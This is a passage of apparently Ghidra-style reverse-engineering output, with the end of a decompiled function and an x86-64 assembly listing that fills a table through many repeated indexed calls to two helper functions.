        *(undefined1 **)(puVar9 + 0x3f0) = &DAT_0062e600;
        puVar9[0x3f2] = iVar11;
      }
    }
  }
  FUN_0040b083();
  return;
}

Assembly · 2026 instructions, 0 annotated

Address	Bytes	Instruction
0040dba0	41 57	PUSH R15
0040dba2	be 10 00 00 00	MOV ESI,0x10
0040dba7	bf dc 01 00 00	MOV EDI,0x1dc
0040dbac	41 56	PUSH R14
0040dbae	41 55	PUSH R13
0040dbb0	41 54	PUSH R12
0040dbb2	55	PUSH RBP
0040dbb3	53	PUSH RBX
0040dbb4	52	PUSH RDX
0040dbb5	c7 05 e1 ff 21 00 00 00 …	MOV dword ptr [DAT_0062dba0],0x0
0040dbbf	e8 4c a3 00 00	CALL FUN_00417f10
0040dbc4	48 89 05 25 0b 22 00	MOV qword ptr [DAT_0062e6f0],RAX
0040dbcb	48 85 c0	TEST RAX,RAX
0040dbce	75 18	JNZ LAB_0040dbe8
0040dbd0	48 8d 15 09 e2 21 00	LEA RDX,[DAT_0062bde0]
0040dbd7	b9 70 07 00 00	MOV ECX,0x770
0040dbdc	48 89 d7	MOV RDI,RDX
0040dbdf	48 89 15 0a 0b 22 00	MOV qword ptr [DAT_0062e6f0],RDX
0040dbe6	f3 ab	STOSD.REP RDI
LAB_0040dbe8:
0040dbe8	48 8d 2d 41 93 01 00	LEA RBP,[DAT_00426f30]
0040dbef	31 ff	XOR EDI,EDI
0040dbf1	ba 18 00 00 00	MOV EDX,0x18
0040dbf6	48 89 ee	MOV RSI,RBP
0040dbf9	4c 8d 25 8d 96 01 00	LEA R12,[DAT_0042728d]
0040dc00	4c 8d 2d 28 98 01 00	LEA R13,[DAT_0042742f]
0040dc07	e8 ee fc ff ff	CALL FUN_0040d8fa
0040dc0c	48 89 ee	MOV RSI,RBP
0040dc0f	ba 18 00 00 00	MOV EDX,0x18
0040dc14	bf 01 00 00 00	MOV EDI,0x1
0040dc19	e8 dc fc ff ff	CALL FUN_0040d8fa
0040dc1e	48 89 ee	MOV RSI,RBP
0040dc21	ba 18 00 00 00	MOV EDX,0x18
0040dc26	bf 02 00 00 00	MOV EDI,0x2
0040dc2b	e8 ca fc ff ff	CALL FUN_0040d8fa
0040dc30	48 89 ee	MOV RSI,RBP
0040dc33	ba 18 00 00 00	MOV EDX,0x18
0040dc38	bf 03 00 00 00	MOV EDI,0x3
0040dc3d	e8 b8 fc ff ff	CALL FUN_0040d8fa
0040dc42	48 89 ee	MOV RSI,RBP
0040dc45	ba 18 00 00 00	MOV EDX,0x18
0040dc4a	bf 04 00 00 00	MOV EDI,0x4
0040dc4f	e8 a6 fc ff ff	CALL FUN_0040d8fa
0040dc54	48 89 ee	MOV RSI,RBP
0040dc57	ba 18 00 00 00	MOV EDX,0x18
0040dc5c	bf 05 00 00 00	MOV EDI,0x5
0040dc61	e8 94 fc ff ff	CALL FUN_0040d8fa
0040dc66	48 89 ee	MOV RSI,RBP
0040dc69	ba 18 00 00 00	MOV EDX,0x18
0040dc6e	bf 06 00 00 00	MOV EDI,0x6
0040dc73	e8 82 fc ff ff	CALL FUN_0040d8fa
0040dc78	48 89 ee	MOV RSI,RBP
0040dc7b	ba 18 00 00 00	MOV EDX,0x18
0040dc80	bf 07 00 00 00	MOV EDI,0x7
0040dc85	e8 70 fc ff ff	CALL FUN_0040d8fa
0040dc8a	ba 0c 00 00 00	MOV EDX,0xc
0040dc8f	48 8d 35 b3 92 01 00	LEA RSI,[DAT_00426f49]
0040dc96	bf 08 00 00 00	MOV EDI,0x8
0040dc9b	e8 5a fc ff ff	CALL FUN_0040d8fa
0040dca0	ba 12 00 00 00	MOV EDX,0x12
0040dca5	48 8d 35 7a a5 01 00	LEA RSI,[DAT_00428226]
0040dcac	bf 09 00 00 00	MOV EDI,0x9
0040dcb1	e8 44 fc ff ff	CALL FUN_0040d8fa
0040dcb6	ba 17 00 00 00	MOV EDX,0x17
0040dcbb	48 8d 35 94 92 01 00	LEA RSI,[DAT_00426f56]
0040dcc2	bf 0a 00 00 00	MOV EDI,0xa
0040dcc7	e8 2e fc ff ff	CALL FUN_0040d8fa
0040dccc	ba 1b 00 00 00	MOV EDX,0x1b
0040dcd1	48 8d 35 96 92 01 00	LEA RSI,[DAT_00426f6e]
0040dcd8	bf 0b 00 00 00	MOV EDI,0xb
0040dcdd	e8 18 fc ff ff	CALL FUN_0040d8fa
0040dce2	ba 0c 00 00 00	MOV EDX,0xc
0040dce7	48 8d 35 9c 92 01 00	LEA RSI,[DAT_00426f8a]
0040dcee	bf 0c 00 00 00	MOV EDI,0xc
0040dcf3	e8 02 fc ff ff	CALL FUN_0040d8fa
0040dcf8	ba 07 00 00 00	MOV EDX,0x7
0040dcfd	48 8d 35 93 92 01 00	LEA RSI,[DAT_00426f97]
0040dd04	bf 0d 00 00 00	MOV EDI,0xd
0040dd09	e8 ec fb ff ff	CALL FUN_0040d8fa
0040dd0e	ba 18 00 00 00	MOV EDX,0x18
0040dd13	48 8d 35 85 92 01 00	LEA RSI,[DAT_00426f9f]
0040dd1a	bf 0e 00 00 00	MOV EDI,0xe
0040dd1f	e8 d6 fb ff ff	CALL FUN_0040d8fa
0040dd24	ba 1a 00 00 00	MOV EDX,0x1a
0040dd29	48 8d 35 88 92 01 00	LEA RSI,[DAT_00426fb8]
0040dd30	bf 0f 00 00 00	MOV EDI,0xf
0040dd35	e8 c0 fb ff ff	CALL FUN_0040d8fa
0040dd3a	ba 11 00 00 00	MOV EDX,0x11
0040dd3f	48 8d 35 8d 92 01 00	LEA RSI,[DAT_00426fd3]
0040dd46	bf 10 00 00 00	MOV EDI,0x10
0040dd4b	e8 aa fb ff ff	CALL FUN_0040d8fa
0040dd50	ba 01 00 00 00	MOV EDX,0x1
0040dd55	48 8d 35 bd 97 01 00	LEA RSI,[DAT_00427519]
0040dd5c	bf 11 00 00 00	MOV EDI,0x11
0040dd61	e8 94 fb ff ff	CALL FUN_0040d8fa
0040dd66	ba 04 00 00 00	MOV EDX,0x4
0040dd6b	48 8d 35 73 92 01 00	LEA RSI,[DAT_00426fe5]
0040dd72	bf 12 00 00 00	MOV EDI,0x12
0040dd77	e8 7e fb ff ff	CALL FUN_0040d8fa
0040dd7c	ba 0e 00 00 00	MOV EDX,0xe
0040dd81	48 8d 35 62 92 01 00	LEA RSI,[DAT_00426fea]
0040dd88	bf 13 00 00 00	MOV EDI,0x13
0040dd8d	e8 68 fb ff ff	CALL FUN_0040d8fa
0040dd92	ba 28 00 00 00	MOV EDX,0x28
0040dd97	48 8d 35 5b 92 01 00	LEA RSI,[DAT_00426ff9]
0040dd9e	bf 14 00 00 00	MOV EDI,0x14
0040dda3	e8 52 fb ff ff	CALL FUN_0040d8fa
0040dda8	ba 28 00 00 00	MOV EDX,0x28
0040ddad	48 8d 35 6e 92 01 00	LEA RSI,[DAT_00427022]
0040ddb4	bf 15 00 00 00	MOV EDI,0x15
0040ddb9	e8 3c fb ff ff	CALL FUN_0040d8fa
0040ddbe	ba 08 00 00 00	MOV EDX,0x8
0040ddc3	48 8d 35 81 92 01 00	LEA RSI,[DAT_0042704b]
0040ddca	bf 16 00 00 00	MOV EDI,0x16
0040ddcf	e8 26 fb ff ff	CALL FUN_0040d8fa
0040ddd4	ba 08 00 00 00	MOV EDX,0x8
0040ddd9	48 8d 35 74 92 01 00	LEA RSI,[DAT_00427054]
0040dde0	bf 17 00 00 00	MOV EDI,0x17
0040dde5	e8 10 fb ff ff	CALL FUN_0040d8fa
0040ddea	ba 02 00 00 00	MOV EDX,0x2
0040ddef	48 8d 35 67 92 01 00	LEA RSI,[DAT_0042705d]
0040ddf6	bf 18 00 00 00	MOV EDI,0x18
0040ddfb	e8 fa fa ff ff	CALL FUN_0040d8fa
0040de00	ba 03 00 00 00	MOV EDX,0x3
0040de05	48 8d 35 54 92 01 00	LEA RSI,[DAT_00427060]
0040de0c	bf 19 00 00 00	MOV EDI,0x19
0040de11	e8 e4 fa ff ff	CALL FUN_0040d8fa
0040de16	ba 03 00 00 00	MOV EDX,0x3
0040de1b	48 8d 35 42 92 01 00	LEA RSI,[DAT_00427064]
0040de22	bf 1a 00 00 00	MOV EDI,0x1a
0040de27	e8 ce fa ff ff	CALL FUN_0040d8fa
0040de2c	ba 03 00 00 00	MOV EDX,0x3
0040de31	48 8d 35 30 92 01 00	LEA RSI,[DAT_00427068]
0040de38	bf 1b 00 00 00	MOV EDI,0x1b
0040de3d	e8 b8 fa ff ff	CALL FUN_0040d8fa
0040de42	ba 03 00 00 00	MOV EDX,0x3
0040de47	48 8d 35 1e 92 01 00	LEA RSI,[DAT_0042706c]
0040de4e	bf 1c 00 00 00	MOV EDI,0x1c
0040de53	e8 a2 fa ff ff	CALL FUN_0040d8fa
0040de58	ba 03 00 00 00	MOV EDX,0x3
0040de5d	48 8d 35 0c 92 01 00	LEA RSI,[DAT_00427070]
0040de64	bf 1d 00 00 00	MOV EDI,0x1d
0040de69	e8 8c fa ff ff	CALL FUN_0040d8fa
0040de6e	ba 03 00 00 00	MOV EDX,0x3
0040de73	48 8d 35 fa 91 01 00	LEA RSI,[DAT_00427074]
0040de7a	bf 1e 00 00 00	MOV EDI,0x1e
0040de7f	e8 76 fa ff ff	CALL FUN_0040d8fa
0040de84	ba 03 00 00 00	MOV EDX,0x3
0040de89	48 8d 35 e8 91 01 00	LEA RSI,[DAT_00427078]
0040de90	bf 1f 00 00 00	MOV EDI,0x1f
0040de95	e8 60 fa ff ff	CALL FUN_0040d8fa
0040de9a	ba 03 00 00 00	MOV EDX,0x3
0040de9f	48 8d 35 d6 91 01 00	LEA RSI,[DAT_0042707c]
0040dea6	bf 20 00 00 00	MOV EDI,0x20
0040deab	e8 4a fa ff ff	CALL FUN_0040d8fa
0040deb0	ba 04 00 00 00	MOV EDX,0x4
0040deb5	48 8d 35 c4 91 01 00	LEA RSI,[DAT_00427080]
0040debc	bf 21 00 00 00	MOV EDI,0x21
0040dec1	e8 34 fa ff ff	CALL FUN_0040d8fa
0040dec6	ba 04 00 00 00	MOV EDX,0x4
0040decb	48 8d 35 b3 91 01 00	LEA RSI,[DAT_00427085]
0040ded2	bf 22 00 00 00	MOV EDI,0x22
0040ded7	e8 1e fa ff ff	CALL FUN_0040d8fa
0040dedc	ba 04 00 00 00	MOV EDX,0x4
0040dee1	48 8d 35 a2 91 01 00	LEA RSI,[DAT_0042708a]
0040dee8	bf 23 00 00 00	MOV EDI,0x23
0040deed	e8 08 fa ff ff	CALL FUN_0040d8fa
0040def2	ba 04 00 00 00	MOV EDX,0x4
0040def7	48 8d 35 91 91 01 00	LEA RSI,[DAT_0042708f]
0040defe	bf 24 00 00 00	MOV EDI,0x24
0040df03	e8 f2 f9 ff ff	CALL FUN_0040d8fa
0040df08	ba 04 00 00 00	MOV EDX,0x4
0040df0d	48 8d 35 80 91 01 00	LEA RSI,[DAT_00427094]
0040df14	bf 25 00 00 00	MOV EDI,0x25
0040df19	e8 dc f9 ff ff	CALL FUN_0040d8fa
0040df1e	ba 04 00 00 00	MOV EDX,0x4
0040df23	48 8d 35 6f 91 01 00	LEA RSI,[DAT_00427099]
0040df2a	bf 26 00 00 00	MOV EDI,0x26
0040df2f	e8 c6 f9 ff ff	CALL FUN_0040d8fa
0040df34	ba 04 00 00 00	MOV EDX,0x4
0040df39	48 8d 35 5e 91 01 00	LEA RSI,[DAT_0042709e]
0040df40	bf 27 00 00 00	MOV EDI,0x27
0040df45	e8 b0 f9 ff ff	CALL FUN_0040d8fa
0040df4a	ba 04 00 00 00	MOV EDX,0x4
0040df4f	48 8d 35 4d 91 01 00	LEA RSI,[DAT_004270a3]
0040df56	bf 28 00 00 00	MOV EDI,0x28
0040df5b	e8 9a f9 ff ff	CALL FUN_0040d8fa
0040df60	ba 04 00 00 00	MOV EDX,0x4
0040df65	48 8d 35 3c 91 01 00	LEA RSI,[DAT_004270a8]
0040df6c	bf 29 00 00 00	MOV EDI,0x29
0040df71	e8 84 f9 ff ff	CALL FUN_0040d8fa
0040df76	ba 04 00 00 00	MOV EDX,0x4
0040df7b	48 8d 35 2b 91 01 00	LEA RSI,[DAT_004270ad]
0040df82	bf 2a 00 00 00	MOV EDI,0x2a
0040df87	e8 6e f9 ff ff	CALL FUN_0040d8fa
0040df8c	ba 04 00 00 00	MOV EDX,0x4
0040df91	48 8d 35 1a 91 01 00	LEA RSI,[DAT_004270b2]
0040df98	bf 2b 00 00 00	MOV EDI,0x2b
0040df9d	e8 58 f9 ff ff	CALL FUN_0040d8fa
0040dfa2	ba 04 00 00 00	MOV EDX,0x4
0040dfa7	48 8d 35 09 91 01 00	LEA RSI,[DAT_004270b7]
0040dfae	bf 2c 00 00 00	MOV EDI,0x2c
0040dfb3	e8 42 f9 ff ff	CALL FUN_0040d8fa
0040dfb8	ba 04 00 00 00	MOV EDX,0x4
0040dfbd	48 8d 35 f8 90 01 00	LEA RSI,[DAT_004270bc]
0040dfc4	bf 2d 00 00 00	MOV EDI,0x2d
0040dfc9	e8 2c f9 ff ff	CALL FUN_0040d8fa
0040dfce	ba 04 00 00 00	MOV EDX,0x4
0040dfd3	48 8d 35 e7 90 01 00	LEA RSI,[DAT_004270c1]
0040dfda	bf 2e 00 00 00	MOV EDI,0x2e
0040dfdf	e8 16 f9 ff ff	CALL FUN_0040d8fa
0040dfe4	ba 04 00 00 00	MOV EDX,0x4
0040dfe9	48 8d 35 d6 90 01 00	LEA RSI,[DAT_004270c6]
0040dff0	bf 2f 00 00 00	MOV EDI,0x2f
0040dff5	e8 00 f9 ff ff	CALL FUN_0040d8fa
0040dffa	ba 04 00 00 00	MOV EDX,0x4
0040dfff	48 8d 35 c5 90 01 00	LEA RSI,[DAT_004270cb]
0040e006	bf 30 00 00 00	MOV EDI,0x30
0040e00b	e8 ea f8 ff ff	CALL FUN_0040d8fa
0040e010	ba 04 00 00 00	MOV EDX,0x4
0040e015	48 8d 35 b4 90 01 00	LEA RSI,[DAT_004270d0]
0040e01c	bf 31 00 00 00	MOV EDI,0x31
0040e021	e8 d4 f8 ff ff	CALL FUN_0040d8fa
0040e026	ba 04 00 00 00	MOV EDX,0x4
0040e02b	48 8d 35 a3 90 01 00	LEA RSI,[DAT_004270d5]
0040e032	bf 32 00 00 00	MOV EDI,0x32
0040e037	e8 be f8 ff ff	CALL FUN_0040d8fa
0040e03c	ba 04 00 00 00	MOV EDX,0x4
0040e041	48 8d 35 92 90 01 00	LEA RSI,[DAT_004270da]
0040e048	bf 33 00 00 00	MOV EDI,0x33
0040e04d	e8 a8 f8 ff ff	CALL FUN_0040d8fa
0040e052	ba 04 00 00 00	MOV EDX,0x4
0040e057	48 8d 35 81 90 01 00	LEA RSI,[DAT_004270df]
0040e05e	bf 34 00 00 00	MOV EDI,0x34
0040e063	e8 92 f8 ff ff	CALL FUN_0040d8fa
0040e068	ba 04 00 00 00	MOV EDX,0x4
0040e06d	48 8d 35 70 90 01 00	LEA RSI,[DAT_004270e4]
0040e074	bf 35 00 00 00	MOV EDI,0x35
0040e079	e8 7c f8 ff ff	CALL FUN_0040d8fa
0040e07e	ba 04 00 00 00	MOV EDX,0x4
0040e083	48 8d 35 5f 90 01 00	LEA RSI,[DAT_004270e9]
0040e08a	bf 36 00 00 00	MOV EDI,0x36
0040e08f	e8 66 f8 ff ff	CALL FUN_0040d8fa
0040e094	ba 04 00 00 00	MOV EDX,0x4
0040e099	48 8d 35 4e 90 01 00	LEA RSI,[DAT_004270ee]
0040e0a0	bf 37 00 00 00	MOV EDI,0x37
0040e0a5	e8 50 f8 ff ff	CALL FUN_0040d8fa
0040e0aa	ba 06 00 00 00	MOV EDX,0x6
0040e0af	48 8d 35 3d 90 01 00	LEA RSI,[DAT_004270f3]
0040e0b6	bf 38 00 00 00	MOV EDI,0x38
0040e0bb	e8 3a f8 ff ff	CALL FUN_0040d8fa
0040e0c0	ba 09 00 00 00	MOV EDX,0x9
0040e0c5	48 8d 35 2e 90 01 00	LEA RSI,[DAT_004270fa]
0040e0cc	bf 39 00 00 00	MOV EDI,0x39
0040e0d1	e8 24 f8 ff ff	CALL FUN_0040d8fa
0040e0d6	ba 09 00 00 00	MOV EDX,0x9
0040e0db	48 8d 35 22 90 01 00	LEA RSI,[DAT_00427104]
0040e0e2	bf 3a 00 00 00	MOV EDI,0x3a
0040e0e7	e8 0e f8 ff ff	CALL FUN_0040d8fa
0040e0ec	ba 06 00 00 00	MOV EDX,0x6
0040e0f1	48 8d 35 16 90 01 00	LEA RSI,[DAT_0042710e]
0040e0f8	bf 3b 00 00 00	MOV EDI,0x3b
0040e0fd	e8 f8 f7 ff ff	CALL FUN_0040d8fa
0040e102	ba 07 00 00 00	MOV EDX,0x7
0040e107	48 8d 35 07 90 01 00	LEA RSI,[DAT_00427115]
0040e10e	bf 3c 00 00 00	MOV EDI,0x3c
0040e113	e8 e2 f7 ff ff	CALL FUN_0040d8fa
0040e118	31 ff	XOR EDI,EDI
0040e11a	ba 11 00 00 00	MOV EDX,0x11
0040e11f	48 8d 35 f7 8f 01 00	LEA RSI,[DAT_0042711d]
0040e126	e8 b6 f9 ff ff	CALL FUN_0040dae1
0040e12b	ba 0f 00 00 00	MOV EDX,0xf
0040e130	48 8d 35 f8 8f 01 00	LEA RSI,[DAT_0042712f]
0040e137	bf 01 00 00 00	MOV EDI,0x1
0040e13c	e8 a0 f9 ff ff	CALL FUN_0040dae1
0040e141	ba 17 00 00 00	MOV EDX,0x17
0040e146	48 8d 35 f2 8f 01 00	LEA RSI,[DAT_0042713f]
0040e14d	bf 02 00 00 00	MOV EDI,0x2
0040e152	e8 8a f9 ff ff	CALL FUN_0040dae1
0040e157	ba 19 00 00 00	MOV EDX,0x19
0040e15c	48 8d 35 f4 8f 01 00	LEA RSI,[DAT_00427157]
0040e163	bf 03 00 00 00	MOV EDI,0x3
0040e168	e8 74 f9 ff ff	CALL FUN_0040dae1
0040e16d	ba 11 00 00 00	MOV EDX,0x11
0040e172	48 8d 35 f8 8f 01 00	LEA RSI,[DAT_00427171]
0040e179	bf 04 00 00 00	MOV EDI,0x4
0040e17e	e8 5e f9 ff ff	CALL FUN_0040dae1
0040e183	ba 0d 00 00 00	MOV EDX,0xd
0040e188	48 8d 35 f4 8f 01 00	LEA RSI,[DAT_00427183]
0040e18f	bf 05 00 00 00	MOV EDI,0x5
0040e194	e8 48 f9 ff ff	CALL FUN_0040dae1
0040e199	ba 38 00 00 00	MOV EDX,0x38
0040e19e	48 8d 35 94 a0 01 00	LEA RSI,[DAT_00428239]
0040e1a5	bf 06 00 00 00	MOV EDI,0x6
0040e1aa	e8 32 f9 ff ff	CALL FUN_0040dae1
0040e1af	ba 18 00 00 00	MOV EDX,0x18
0040e1b4	48 8d 35 d6 8f 01 00	LEA RSI,[DAT_00427191]
0040e1bb	bf 07 00 00 00	MOV EDI,0x7
0040e1c0	e8 1c f9 ff ff	CALL FUN_0040dae1
0040e1c5	ba 20 00 00 00	MOV EDX,0x20
0040e1ca	48 8d 35 d9 8f 01 00	LEA RSI,[DAT_004271aa]
0040e1d1	bf 08 00 00 00	MOV EDI,0x8
0040e1d6	e8 06 f9 ff ff	CALL FUN_0040dae1
0040e1db	ba 0f 00 00 00	MOV EDX,0xf
0040e1e0	48 8d 35 e4 8f 01 00	LEA RSI,[DAT_004271cb]
0040e1e7	bf 09 00 00 00	MOV EDI,0x9
0040e1ec	e8 f0 f8 ff ff	CALL FUN_0040dae1
0040e1f1	ba 11 00 00 00	MOV EDX,0x11
0040e1f6	48 8d 35 de 8f 01 00	LEA RSI,[DAT_004271db]
0040e1fd	bf 0a 00 00 00	MOV EDI,0xa
0040e202	e8 da f8 ff ff	CALL FUN_0040dae1
0040e207	0f 28 05 32 04 22 00	MOVAPS XMM0,xmmword ptr [DAT_0062e640]
0040e20e	ba 20 00 00 00	MOV EDX,0x20
0040e213	48 8d 35 d3 8f 01 00	LEA RSI,[DAT_004271ed]
0040e21a	bf 3e 00 00 00	MOV EDI,0x3e
0040e21f	48 8d 2d fc 8f 01 00	LEA RBP,[DAT_00427222]
0040e226	4c 8d 35 98 92 01 00	LEA R14,[DAT_004274c5]
0040e22d	0f 29 05 ec 03 22 00	MOVAPS xmmword ptr [DAT_0062e620],XMM0
0040e234	4c 8d 3d 01 96 01 00	LEA R15,[DAT_0042783c]
0040e23b	48 8d 1d 17 96 01 00	LEA RBX,[DAT_00427859]
0040e242	e8 b3 f6 ff ff	CALL FUN_0040d8fa
0040e247	ba 06 00 00 00	MOV EDX,0x6
0040e24c	bf 3f 00 00 00	MOV EDI,0x3f
0040e251	48 8d 35 b6 8f 01 00	LEA RSI,[DAT_0042720e]
0040e258	e8 9d f6 ff ff	CALL FUN_0040d8fa
0040e25d	ba 05 00 00 00	MOV EDX,0x5
0040e262	bf 40 00 00 00	MOV EDI,0x40
0040e267	48 8d 35 a7 8f 01 00	LEA RSI,[DAT_00427215]
0040e26e	e8 87 f6 ff ff	CALL FUN_0040d8fa
0040e273	ba 06 00 00 00	MOV EDX,0x6
0040e278	bf 41 00 00 00	MOV EDI,0x41
0040e27d	48 8d 35 97 8f 01 00	LEA RSI,[DAT_0042721b]
0040e284	e8 71 f6 ff ff	CALL FUN_0040d8fa
0040e289	48 89 ee	MOV RSI,RBP
0040e28c	ba 05 00 00 00	MOV EDX,0x5
0040e291	bf 42 00 00 00	MOV EDI,0x42
0040e296	e8 5f f6 ff ff	CALL FUN_0040d8fa
0040e29b	ba 06 00 00 00	MOV EDX,0x6
0040e2a0	bf 43 00 00 00	MOV EDI,0x43
0040e2a5	48 8d 35 7c 8f 01 00	LEA RSI,[DAT_00427228]
0040e2ac	e8 49 f6 ff ff	CALL FUN_0040d8fa
0040e2b1	ba 09 00 00 00	MOV EDX,0x9
0040e2b6	bf 44 00 00 00	MOV EDI,0x44
0040e2bb	48 8d 35 6d 8f 01 00	LEA RSI,[DAT_0042722f]
0040e2c2	e8 33 f6 ff ff	CALL FUN_0040d8fa
0040e2c7	ba 09 00 00 00	MOV EDX,0x9
0040e2cc	bf 45 00 00 00	MOV EDI,0x45
0040e2d1	48 8d 35 61 8f 01 00	LEA RSI,[DAT_00427239]
0040e2d8	e8 1d f6 ff ff	CALL FUN_0040d8fa
0040e2dd	ba 0a 00 00 00	MOV EDX,0xa
0040e2e2	bf 46 00 00 00	MOV EDI,0x46
0040e2e7	48 8d 35 55 8f 01 00	LEA RSI,[DAT_00427243]
0040e2ee	e8 07 f6 ff ff	CALL FUN_0040d8fa
0040e2f3	ba 09 00 00 00	MOV EDX,0x9
0040e2f8	bf 47 00 00 00	MOV EDI,0x47
0040e2fd	48 8d 35 4a 8f 01 00	LEA RSI,[DAT_0042724e]
0040e304	e8 f1 f5 ff ff	CALL FUN_0040d8fa
0040e309	ba 05 00 00 00	MOV EDX,0x5
0040e30e	bf 48 00 00 00	MOV EDI,0x48
0040e313	48 8d 35 3e 8f 01 00	LEA RSI,[DAT_00427258]
0040e31a	e8 db f5 ff ff	CALL FUN_0040d8fa
0040e31f	ba 04 00 00 00	MOV EDX,0x4
0040e324	bf 49 00 00 00	MOV EDI,0x49
0040e329	48 8d 35 2e 8f 01 00	LEA RSI,[DAT_0042725e]
0040e330	e8 c5 f5 ff ff	CALL FUN_0040d8fa
0040e335	ba 04 00 00 00	MOV EDX,0x4
0040e33a	bf 4a 00 00 00	MOV EDI,0x4a
0040e33f	48 8d 35 1d 8f 01 00	LEA RSI,[DAT_00427263]
0040e346	e8 af f5 ff ff	CALL FUN_0040d8fa
0040e34b	ba 04 00 00 00	MOV EDX,0x4
0040e350	bf 4b 00 00 00	MOV EDI,0x4b
0040e355	48 8d 35 0c 8f 01 00	LEA RSI,[DAT_00427268]
0040e35c	e8 99 f5 ff ff	CALL FUN_0040d8fa
0040e361	ba 04 00 00 00	MOV EDX,0x4
0040e366	bf 4c 00 00 00	MOV EDI,0x4c
0040e36b	48 8d 35 fb 8e 01 00	LEA RSI,[DAT_0042726d]
0040e372	e8 83 f5 ff ff	CALL FUN_0040d8fa
0040e377	ba 04 00 00 00	MOV EDX,0x4
0040e37c	bf 4d 00 00 00	MOV EDI,0x4d
0040e381	48 8d 35 ea 8e 01 00	LEA RSI,[DAT_00427272]
0040e388	e8 6d f5 ff ff	CALL FUN_0040d8fa
0040e38d	ba 04 00 00 00	MOV EDX,0x4
0040e392	bf 4e 00 00 00	MOV EDI,0x4e
0040e397	48 8d 35 d9 8e 01 00	LEA RSI,[DAT_00427277]
0040e39e	e8 57 f5 ff ff	CALL FUN_0040d8fa
0040e3a3	ba 04 00 00 00	MOV EDX,0x4
0040e3a8	bf 4f 00 00 00	MOV EDI,0x4f
0040e3ad	48 8d 35 c8 8e 01 00	LEA RSI,[DAT_0042727c]
0040e3b4	e8 41 f5 ff ff	CALL FUN_0040d8fa
0040e3b9	ba 05 00 00 00	MOV EDX,0x5
0040e3be	bf 50 00 00 00	MOV EDI,0x50
0040e3c3	48 8d 35 b7 8e 01 00	LEA RSI,[DAT_00427281]
0040e3ca	e8 2b f5 ff ff	CALL FUN_0040d8fa
0040e3cf	ba 05 00 00 00	MOV EDX,0x5
0040e3d4	bf 51 00 00 00	MOV EDI,0x51
0040e3d9	48 8d 35 a7 8e 01 00	LEA RSI,[DAT_00427287]
0040e3e0	e8 15 f5 ff ff	CALL FUN_0040d8fa
0040e3e5	4c 89 e6	MOV RSI,R12
0040e3e8	ba 0f 00 00 00	MOV EDX,0xf
0040e3ed	bf 52 00 00 00	MOV EDI,0x52
0040e3f2	e8 03 f5 ff ff	CALL FUN_0040d8fa
0040e3f7	4c 89 e6	MOV RSI,R12
0040e3fa	ba 0f 00 00 00	MOV EDX,0xf
0040e3ff	bf 53 00 00 00	MOV EDI,0x53
0040e404	e8 f1 f4 ff ff	CALL FUN_0040d8fa
0040e409	ba 09 00 00 00	MOV EDX,0x9
0040e40e	bf 54 00 00 00	MOV EDI,0x54
0040e413	48 8d 35 83 8e 01 00	LEA RSI,[DAT_0042729d]
0040e41a	e8 db f4 ff ff	CALL FUN_0040d8fa
0040e41f	ba 0a 00 00 00	MOV EDX,0xa
0040e424	bf 55 00 00 00	MOV EDI,0x55
0040e429	48 8d 35 77 8e 01 00	LEA RSI,[DAT_004272a7]
0040e430	e8 c5 f4 ff ff	CALL FUN_0040d8fa
0040e435	ba 08 00 00 00	MOV EDX,0x8
0040e43a	bf 56 00 00 00	MOV EDI,0x56
0040e43f	48 8d 35 6c 8e 01 00	LEA RSI,[DAT_004272b2]
0040e446	e8 af f4 ff ff	CALL FUN_0040d8fa
0040e44b	ba 0d 00 00 00	MOV EDX,0xd
0040e450	bf 57 00 00 00	MOV EDI,0x57
0040e455	48 8d 35 5f 8e 01 00	LEA RSI,[DAT_004272bb]
0040e45c	e8 99 f4 ff ff	CALL FUN_0040d8fa
0040e461	ba 05 00 00 00	MOV EDX,0x5
0040e466	bf 58 00 00 00	MOV EDI,0x58
0040e46b	48 8d 35 57 8e 01 00	LEA RSI,[DAT_004272c9]
0040e472	e8 83 f4 ff ff	CALL FUN_0040d8fa
0040e477	ba 08 00 00 00	MOV EDX,0x8
0040e47c	bf 59 00 00 00	MOV EDI,0x59
0040e481	48 8d 35 47 8e 01 00	LEA RSI,[DAT_004272cf]
0040e488	e8 6d f4 ff ff	CALL FUN_0040d8fa
0040e48d	ba 0a 00 00 00	MOV EDX,0xa
0040e492	bf 5a 00 00 00	MOV EDI,0x5a
0040e497	48 8d 35 3a 8e 01 00	LEA RSI,[DAT_004272d8]
0040e49e	e8 57 f4 ff ff	CALL FUN_0040d8fa
0040e4a3	ba 09 00 00 00	MOV EDX,0x9
0040e4a8	bf 5b 00 00 00	MOV EDI,0x5b
0040e4ad	48 8d 35 2f 8e 01 00	LEA RSI,[DAT_004272e3]
0040e4b4	e8 41 f4 ff ff	CALL FUN_0040d8fa
0040e4b9	ba 08 00 00 00	MOV EDX,0x8
0040e4be	bf 5c 00 00 00	MOV EDI,0x5c
0040e4c3	48 8d 35 23 8e 01 00	LEA RSI,[DAT_004272ed]
0040e4ca	e8 2b f4 ff ff	CALL FUN_0040d8fa
0040e4cf	ba 08 00 00 00	MOV EDX,0x8
0040e4d4	bf 5d 00 00 00	MOV EDI,0x5d
0040e4d9	48 8d 35 16 8e 01 00	LEA RSI,[DAT_004272f6]
0040e4e0	e8 15 f4 ff ff	CALL FUN_0040d8fa
0040e4e5	ba 09 00 00 00	MOV EDX,0x9
0040e4ea	bf 5e 00 00 00	MOV EDI,0x5e
0040e4ef	48 8d 35 09 8e 01 00	LEA RSI,[DAT_004272ff]
0040e4f6	e8 ff f3 ff ff	CALL FUN_0040d8fa
0040e4fb	ba 09 00 00 00	MOV EDX,0x9
0040e500	bf 5f 00 00 00	MOV EDI,0x5f
0040e505	48 8d 35 fd 8d 01 00	LEA RSI,[DAT_00427309]
0040e50c	e8 e9 f3 ff ff	CALL FUN_0040d8fa
0040e511	ba 0a 00 00 00	MOV EDX,0xa
0040e516	bf 60 00 00 00	MOV EDI,0x60
0040e51b	48 8d 35 f1 8d 01 00	LEA RSI,[DAT_00427313]
0040e522	e8 d3 f3 ff ff	CALL FUN_0040d8fa
0040e527	ba 0b 00 00 00	MOV EDX,0xb
0040e52c	bf 61 00 00 00	MOV EDI,0x61
0040e531	48 8d 35 e6 8d 01 00	LEA RSI,[DAT_0042731e]
0040e538	e8 bd f3 ff ff	CALL FUN_0040d8fa
0040e53d	ba 09 00 00 00	MOV EDX,0x9
0040e542	bf 62 00 00 00	MOV EDI,0x62
0040e547	48 8d 35 dc 8d 01 00	LEA RSI,[DAT_0042732a]
0040e54e	e8 a7 f3 ff ff	CALL FUN_0040d8fa
0040e553	ba 0a 00 00 00	MOV EDX,0xa
0040e558	bf 63 00 00 00	MOV EDI,0x63
